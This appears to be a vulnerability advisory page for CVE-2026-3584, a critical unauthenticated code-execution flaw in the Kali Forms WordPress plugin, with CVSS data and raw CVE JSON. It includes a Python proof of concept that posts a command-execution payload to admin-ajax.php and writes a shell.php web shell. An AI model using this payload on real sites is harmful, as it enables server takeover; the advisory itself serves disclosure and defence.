Security Vulnerability Report
中文
CVE-2026-3584 CVSS 9.8 CRITICAL

CVE-2026-3584

Published: 2026-03-20 22:16:29
Last Modified: 2026-04-22 21:32:08

Description

The Kali Forms plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.9 via the 'form_process' function. This is due to the 'prepare_post_data' function mapping user-supplied keys directly into internal placeholder storage, combined with the use of 'call_user_func' on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Kali Forms <= 2.4.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (replace with actual target) target_url = "http://example.com/wp-admin/admin-ajax.php" # The payload exploits the prepare_post_data -> call_user_func issue # We map a PHP function name (key) to an argument (value) payload = { "action": "kali_forms_process_form", # Specific action for the plugin "form_id": "1", # Malicious payload: 'system' is the function, 'id' is the command "system": "id", # Another example to write a webshell "file_put_contents": ["shell.php", "<?php phpinfo(); ?>"] } try: response = requests.post(target_url, data=payload) print(f"Status Code: {response.status_code}") print("Response Body:") print(response.text) except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3584", "sourceIdentifier": "[email protected]", "published": "2026-03-20T22:16:29.267", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Kali Forms plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.9 via the 'form_process' function. This is due to the 'prepare_post_data' function mapping user-supplied keys directly into internal placeholder storage, combined with the use of 'call_user_func' on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server."}, {"lang": "es", "value": "El plugin Kali Forms para WordPress es vulnerable a ejecución remota de código en todas las versiones hasta la 2.4.9, inclusive, a través de la función 'form_process'. Esto se debe a que la función 'prepare_post_data' mapea claves proporcionadas por el usuario directamente en el almacenamiento interno de marcadores de posición, combinado con el uso de 'call_user_func' en estos valores de marcador de posición. Esto hace posible que atacantes no autenticados ejecuten código en el servidor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/kali-forms/tags/2.4.9/Inc/Frontend/class-form-processor.php#L697", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3487024/kali-forms", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6cecd06f-c064-49fd-b3fa-505a5a0c2e0b?source=cve", "source": "[email protected]"}]}}